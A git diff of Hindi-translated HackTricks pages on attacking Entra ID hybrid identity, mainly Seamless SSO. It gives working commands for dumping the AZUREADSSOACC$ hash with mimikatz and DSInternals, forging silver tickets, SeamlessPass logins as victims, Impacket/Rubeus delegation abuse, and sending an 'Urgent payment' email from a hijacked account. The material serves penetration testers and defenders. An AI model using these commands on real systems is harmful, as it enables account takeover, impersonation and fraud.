इस उपयोगकर्ता का पासवर्ड डंप करना भी संभव है।
|
||||
|
||||
> [!CAUTION]
|
||||
> एक और विकल्प होगा **एक सेवा प्रमुख को विशेषाधिकार प्राप्त अनुमतियाँ सौंपना**, जिसे **Sync** उपयोगकर्ता **अनुमतियाँ** देने के लिए सक्षम है, और फिर **उस सेवा प्रमुख तक पहुँच प्राप्त करना** प्रिवेस्क के एक तरीके के रूप में।
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
Seamless SSO को PHS के साथ उपयोग करना संभव है, जो अन्य दुरुपयोगों के प्रति संवेदनशील है। इसे जांचें:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Pivoting Entra ID --> AD
|
||||
|
||||
- यदि पासवर्ड राइटबैक सक्षम है, तो आप **AD में किसी भी उपयोगकर्ता का पासवर्ड संशोधित कर सकते हैं** जो Entra ID के साथ समन्वयित है।
|
||||
- यदि समूह राइटबैक सक्षम है, तो आप **Entra ID में विशेषाधिकार प्राप्त समूहों में उपयोगकर्ताओं को जोड़ सकते हैं** जो AD के साथ समन्वयित हैं।
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
|
||||
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,23 +4,73 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) स्वचालित रूप से **उपयोगकर्ताओं को उनके कॉर्पोरेट उपकरणों पर साइन इन करता है** जो आपके कॉर्पोरेट नेटवर्क से जुड़े होते हैं। जब सक्षम किया जाता है, **उपयोगकर्ताओं को Azure AD में साइन इन करने के लिए अपने पासवर्ड टाइप करने की आवश्यकता नहीं होती है**, और आमतौर पर, यहां तक कि अपने उपयोगकर्ता नाम भी टाइप करने की आवश्यकता नहीं होती है। यह सुविधा आपके उपयोगकर्ताओं को आपके क्लाउड-आधारित अनुप्रयोगों तक आसान पहुंच प्रदान करती है बिना किसी अतिरिक्त ऑन-प्रिमाइसेस घटकों की आवश्यकता के।
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) स्वचालित रूप से **उपयोगकर्ताओं को उनके कॉर्पोरेट उपकरणों पर साइन इन करता है** जो आपके कॉर्पोरेट नेटवर्क से जुड़े होते हैं। जब सक्षम किया जाता है, **उपयोगकर्ताओं को Azure AD में साइन इन करने के लिए अपने पासवर्ड टाइप करने की आवश्यकता नहीं होती है**, और आमतौर पर, अपने उपयोगकर्ता नाम भी टाइप करने की आवश्यकता नहीं होती है। यह सुविधा आपके उपयोगकर्ताओं को आपके क्लाउड-आधारित अनुप्रयोगों तक आसान पहुंच प्रदान करती है बिना किसी अतिरिक्त ऑन-प्रिमाइसेस घटकों की आवश्यकता के।
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
आधारभूत रूप से Azure AD Seamless SSO **उपयोगकर्ताओं को साइन इन करता है** जब वे **एक ऑन-प्रिम डोमेन से जुड़े पीसी पर होते हैं**।
|
||||
बुनियादी रूप से Azure AD Seamless SSO **उपयोगकर्ताओं को साइन इन करता है** जब वे **एक ऑन-प्रिम डोमेन से जुड़े पीसी पर होते हैं**।
|
||||
|
||||
यह [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) और [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) दोनों द्वारा समर्थित है।
|
||||
|
||||
डेस्कटॉप SSO **प्रमाणीकरण** के लिए **Kerberos** का उपयोग कर रहा है। जब कॉन्फ़िगर किया जाता है, Azure AD Connect एक **कंप्यूटर खाता बनाता है जिसे AZUREADSSOACC`$`** कहा जाता है ऑन-प्रिम AD में। `AZUREADSSOACC$` खाते का पासवर्ड **कॉन्फ़िगरेशन के दौरान Azure AD को स्पष्ट पाठ के रूप में भेजा जाता है**।
|
||||
डेस्कटॉप SSO **प्रमाणीकरण के लिए Kerberos** का उपयोग कर रहा है। जब कॉन्फ़िगर किया जाता है, Azure AD Connect एक **कंप्यूटर खाता `AZUREADSSOACC$`** ऑन-प्रिम AD में बनाता है। `AZUREADSSOACC$` खाते का पासवर्ड **कॉन्फ़िगरेशन के दौरान Entra ID को स्पष्ट पाठ के रूप में भेजा जाता है**।
|
||||
|
||||
**Kerberos टिकट** **पासवर्ड के **NTHash (MD4)** का उपयोग करके **एन्क्रिप्ट** किए जाते हैं और Azure AD भेजे गए पासवर्ड का उपयोग करके टिकटों को डिक्रिप्ट करता है।
|
||||
**Kerberos टिकट** **पासवर्ड के NTHash (MD4)** का उपयोग करके **एन्क्रिप्ट** किए जाते हैं और Entra ID भेजे गए पासवर्ड का उपयोग करके टिकटों को डिक्रिप्ट करता है।
|
||||
|
||||
**Azure AD** एक **एंडपॉइंट** (https://autologon.microsoftazuread-sso.com) को उजागर करता है जो Kerberos **टिकटों** को स्वीकार करता है। डोमेन-जोड़े गए मशीन का ब्राउज़र SSO के लिए इन टिकटों को इस एंडपॉइंट पर अग्रेषित करता है।
|
||||
**Entra ID** एक **एंडपॉइंट** (https://autologon.microsoftazuread-sso.com) को उजागर करता है जो Kerberos **टिकटों** को स्वीकार करता है। डोमेन-जोड़े गए मशीन का ब्राउज़र SSO के लिए इन टिकटों को इस एंडपॉइंट पर अग्रेषित करता है।
|
||||
|
||||
### On-prem -> cloud
|
||||
### Enumeration
|
||||
```bash
|
||||
# Check if the SSO is enabled in the tenant
|
||||
Import-Module AADInternals
|
||||
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
|
||||
|
||||
उपयोगकर्ता का **पासवर्ड** **`AZUREADSSOACC$` कभी नहीं बदलता**। इसलिए, एक डोमेन प्रशासक **इस खाते के हैश को समझौता** कर सकता है, और फिर इसका उपयोग **सिल्वर टिकट बनाने** के लिए कर सकता है ताकि **किसी भी ऑन-प्रिम उपयोगकर्ता को सिंक** करके Azure से कनेक्ट किया जा सके:
|
||||
# Check if the AZUREADSSOACC$ account exists in the domain
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
|
||||
$searcher.FindOne()
|
||||
```
|
||||
## Pivoting: On-prem -> cloud
|
||||
|
||||
> [!WARNING]
|
||||
> इस हमले के बारे में जानने वाली मुख्य बात यह है कि केवल TGT या किसी उपयोगकर्ता का एक विशिष्ट TGS जो Entra ID के साथ समन्वयित है, क्लाउड संसाधनों तक पहुँचने के लिए पर्याप्त है।\
|
||||
> इसका कारण यह है कि यह एक टिकट है जो उपयोगकर्ता को क्लाउड में लॉगिन करने की अनुमति देता है।
|
||||
|
||||
TGS टिकट प्राप्त करने के लिए, हमलावर को निम्नलिखित में से एक होना चाहिए:
|
||||
- **एक समझौता किए गए उपयोगकर्ता का TGS:** यदि आप `HTTP/autologon.microsoftazuread-sso.com` के लिए टिकट के साथ एक उपयोगकर्ता के सत्र को समझौता करते हैं, तो आप इसका उपयोग क्लाउड संसाधनों तक पहुँचने के लिए कर सकते हैं।
|
||||
- **एक समझौता किए गए उपयोगकर्ता का TGT:** भले ही आपके पास एक न हो लेकिन उपयोगकर्ता समझौता किया गया था, आप कई उपकरणों में लागू किए गए नकली TGT प्रतिनिधित्व चाल का उपयोग करके एक प्राप्त कर सकते हैं जैसे कि [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) और [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)।
|
||||
- **एक समझौता किए गए उपयोगकर्ता का हैश या पासवर्ड:** SeamlessPass इस जानकारी के साथ डोमेन नियंत्रक के साथ संवाद करेगा ताकि TGT उत्पन्न किया जा सके और फिर TGS।
|
||||
- **एक गोल्डन टिकट:** यदि आपके पास KRBTGT कुंजी है, तो आप हमले किए गए उपयोगकर्ता के लिए आवश्यक TGT बना सकते हैं।
|
||||
- **AZUREADSSOACC$ खाता हैश या पासवर्ड:** इस जानकारी और उपयोगकर्ता के सुरक्षा पहचानकर्ता (SID) के साथ हमले के लिए, एक सेवा टिकट बनाना और क्लाउड के साथ प्रमाणीकरण करना संभव है (जैसा कि पिछले तरीके में किया गया था)।
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
जैसा कि [इस ब्लॉग पोस्ट में समझाया गया है](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), पिछले आवश्यकताओं में से कोई भी होने पर, समझौता किए गए उपयोगकर्ता के रूप में या यदि आपके पास **`AZUREADSSOACC$`** खाता हैश या पासवर्ड है, तो क्लाउड संसाधनों तक पहुँचने के लिए उपकरण **SeamlessPass** का उपयोग करना बहुत आसान है।
|
||||
|
||||
अंत में, TGT के साथ, उपकरण [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) का उपयोग करना संभव है:
|
||||
```bash
|
||||
# Using the TGT to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
|
||||
# Using the TGS to access the cloud
|
||||
seamlesspass -tenant corp.com -tgs user_tgs.ccache
|
||||
# Using the victims account hash or password to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
|
||||
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
|
||||
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
Firefox को seamless SSO के साथ काम करने के लिए और जानकारी [**इस ब्लॉग पोस्ट में**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) मिल सकती है।
|
||||
|
||||
|
||||
### AZUREADSSOACC$ खाते के हैश प्राप्त करना
|
||||
|
||||
उपयोगकर्ता **`AZUREADSSOACC$` का **पासवर्ड** कभी नहीं बदलता**। इसलिए, एक डोमेन एडमिन **इस खाते के हैश को समझौता** कर सकता है, और फिर इसका उपयोग **सिल्वर टिकट बनाने** के लिए कर सकता है ताकि **किसी भी ऑन-प्रेम उपयोगकर्ता को सिंक** करके Azure से कनेक्ट किया जा सके:
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
@@ -38,14 +88,20 @@ Import-Module DSInternals
|
||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
अब आप हैश के साथ **सिल्वर टिकट** **जनरेट** कर सकते हैं:
|
||||
> [!NOTE]
|
||||
> वर्तमान जानकारी के साथ, आप डोमेन में किसी भी उपयोगकर्ता के लिए azure और entraid टोकन प्राप्त करने के लिए पहले बताए गए उपकरण **SeamlessPass** का उपयोग कर सकते हैं।
|
||||
> आप पीड़ित के पासवर्ड का हैश प्राप्त करने के लिए पिछले तकनीकों (और अन्य) का भी उपयोग कर सकते हैं, जिसे आप `AZUREADSSOACC$` खाते के बजाय अनुकरण करना चाहते हैं।
|
||||
|
||||
#### Silver Tickets बनाना
|
||||
|
||||
हैश के साथ, आप अब **silver tickets** **जनरेट** कर सकते हैं:
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
|
||||
# Create a silver ticket to connect to Azure with mimikatz
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
|
||||
|
||||
# Create silver ticket with AADInternal to access Exchange Online
|
||||
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
|
||||
@@ -53,57 +109,79 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
To utilize the silver ticket, the following steps should be executed:
|
||||
### Using Silver Tickets with Firefox
|
||||
|
||||
सिल्वर टिकट का उपयोग करने के लिए, निम्नलिखित चरणों का पालन किया जाना चाहिए:
|
||||
|
||||
1. **ब्राउज़र प्रारंभ करें:** Mozilla Firefox को लॉन्च किया जाना चाहिए।
|
||||
2. **ब्राउज़र कॉन्फ़िगर करें:**
|
||||
- **`about:config`** पर जाएं।
|
||||
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) के लिए प्रेफरेंस को निर्दिष्ट [मानों](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) पर सेट करें:
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) के लिए वरीयता को निर्दिष्ट [मान](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) पर सेट करें:
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- Firefox `Settings` पर जाएं > `Allow Windows single sign-on for Microsoft, work and school accounts` के लिए खोजें और इसे सक्षम करें।
|
||||
3. **वेब एप्लिकेशन तक पहुँचें:**
|
||||
- एक वेब एप्लिकेशन पर जाएं जो संगठन के AAD डोमेन के साथ एकीकृत है। एक सामान्य उदाहरण है [Office 365](https://portal.office.com/)।
|
||||
- एक वेब एप्लिकेशन पर जाएं जो संगठन के AAD डोमेन के साथ एकीकृत है। एक सामान्य उदाहरण है [login.microsoftonline.com](https://login.microsoftonline.com/)।
|
||||
4. **प्रमाणीकरण प्रक्रिया:**
|
||||
- लॉगिन स्क्रीन पर, उपयोगकर्ता नाम दर्ज किया जाना चाहिए, पासवर्ड फ़ील्ड को खाली छोड़ते हुए।
|
||||
- लॉगिन स्क्रीन पर, उपयोगकर्ता नाम दर्ज करें, पासवर्ड फ़ील्ड को खाली छोड़ दें।
|
||||
- आगे बढ़ने के लिए, TAB या ENTER दबाएं।
|
||||
|
||||
> [!TIP]
|
||||
> यदि MFA सक्षम है तो यह बायपास नहीं करता है
|
||||
> [!WARNING]
|
||||
> यह **MFA को बायपास नहीं करता यदि उपयोगकर्ता में सक्षम है**।
|
||||
|
||||
#### विकल्प 2 बिना dcsync - SeamlessPass
|
||||
### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
यह हमला **dcsync हमले के बिना** करना भी संभव है ताकि अधिक छिपा रह सके जैसा कि [इस ब्लॉग पोस्ट](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) में समझाया गया है। इसके लिए आपको केवल निम्नलिखित में से एक की आवश्यकता है:
|
||||
हमला करने के लिए आवश्यक है:
|
||||
|
||||
- **एक समझौता किए गए उपयोगकर्ता का TGT:** भले ही आपके पास एक न हो लेकिन उपयोगकर्ता समझौता किया गया था, आप कई उपकरणों में लागू किए गए नकली TGT डेलीगेशन ट्रिक का उपयोग करके एक प्राप्त कर सकते हैं जैसे [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) और [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)।
|
||||
- **गोल्डन टिकट**: यदि आपके पास KRBTGT कुंजी है, तो आप उस उपयोगकर्ता के लिए आवश्यक TGT बना सकते हैं जिसे आप हमला कर रहे हैं।
|
||||
- **एक समझौता किए गए उपयोगकर्ता का NTLM हैश या AES कुंजी:** SeamlessPass इस जानकारी के साथ डोमेन कंट्रोलर के साथ संवाद करेगा ताकि TGT उत्पन्न किया जा सके।
|
||||
- **AZUREADSSOACC$ खाता NTLM हैश या AES कुंजी:** इस जानकारी और उपयोगकर्ता के सुरक्षा पहचानकर्ता (SID) के साथ हमला करना संभव है कि एक सेवा टिकट बनाया जाए और क्लाउड के साथ प्रमाणीकरण किया जाए (जैसा कि पिछले तरीके में किया गया था)।
|
||||
- `WriteDACL` / `GenericWrite` पर `AZUREADSSOACC$`
|
||||
- एक कंप्यूटर खाता जिसे आप नियंत्रित करते हैं (हैश और पासवर्ड) - आप एक बना सकते हैं
|
||||
|
||||
अंत में, TGT के साथ, आप उपकरण [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) का उपयोग कर सकते हैं:
|
||||
1. चरण 1 – अपना खुद का कंप्यूटर खाता जोड़ें
|
||||
- `ATTACKBOX$` बनाता है और इसका SID/NTLM हैश प्रिंट करता है। कोई भी डोमेन उपयोगकर्ता यह कर सकता है जब MachineAccountQuota > 0 हो।
|
||||
```bash
|
||||
# Impacket
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
-computer ATTACKBOX$ -password S3cureP@ss
|
||||
```
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
|
||||
```
|
||||
Firefox को seamless SSO के साथ काम करने के लिए आगे की जानकारी [**इस ब्लॉग पोस्ट में**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) मिल सकती है।
|
||||
2. चरण 2 – `AZUREADSSOACC$` पर RBCD प्रदान करें - आपके मशीन का SID `msDS-AllowedToActOnBehalfOfOtherIdentity` में लिखता है।
|
||||
```bash
|
||||
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
|
||||
ATTACKBOX$ AZUREADSSOACC$
|
||||
|
||||
#### ~~क्लाउड-केवल उपयोगकर्ताओं के लिए Kerberos टिकट बनाना~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
# Or, from Windows:
|
||||
$SID = (Get-ADComputer ATTACKBOX$).SID
|
||||
Set-ADComputer AZUREADSSOACC$ `
|
||||
-PrincipalsAllowedToDelegateToAccount $SID
|
||||
```
|
||||
3. चरण 3 – किसी भी उपयोगकर्ता (जैसे कि alice) के लिए TGS बनाएं
|
||||
```bash
|
||||
# Using your machine's password or NTLM hash
|
||||
python3 getST.py -dc-ip 192.168.1.10 \
|
||||
-spn HTTP/autologon.microsoftazuread-sso.com \
|
||||
-impersonate alice \
|
||||
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
|
||||
|
||||
# Produces alice.autologon.ccache
|
||||
|
||||
#Or, from Windows:
|
||||
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
/impersonateuser:alice `
|
||||
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
|
||||
```
|
||||
आप अब **TGS का उपयोग Azure संसाधनों तक पहुंचने के लिए कर सकते हैं जैसे कि आप impersonated उपयोगकर्ता हैं।**
|
||||
|
||||
### ~~क्लाउड-केवल उपयोगकर्ताओं के लिए Kerberos टिकट बनाना~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
यदि Active Directory प्रशासकों के पास Azure AD Connect तक पहुंच है, तो वे **किसी भी क्लाउड-उपयोगकर्ता के लिए SID सेट कर सकते हैं**। इस तरह Kerberos **टिकट** **क्लाउड-केवल उपयोगकर्ताओं के लिए भी बनाए जा सकते हैं**। एकमात्र आवश्यकता यह है कि SID एक उचित [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) हो।
|
||||
|
||||
> [!CAUTION]
|
||||
> क्लाउड-केवल प्रशासनिक उपयोगकर्ताओं का SID बदलना अब **Microsoft द्वारा अवरुद्ध** है।\
|
||||
> क्लाउड-केवल प्रशासक उपयोगकर्ताओं का SID बदलना अब **Microsoft द्वारा अवरुद्ध** है।\
|
||||
> जानकारी के लिए देखें [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
### ऑन-प्रेम -> क्लाउड रिसोर्स आधारित सीमित प्रतिनिधित्व के माध्यम से <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
कोई भी जो इस खाते में कंप्यूटर खातों (`AZUREADSSOACC$`) का प्रबंधन कर सकता है, वह **खाते पर एक संसाधन आधारित सीमित प्रतिनिधित्व को कॉन्फ़िगर कर सकता है और इसे एक्सेस कर सकता है**।
|
||||
```python
|
||||
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
|
||||
```
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: मैं आपके क्लाउड में हूँ, सभी के ईमेल पढ़ रहा हूँ - Active Directory के माध्यम से Azure AD हैक करना](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user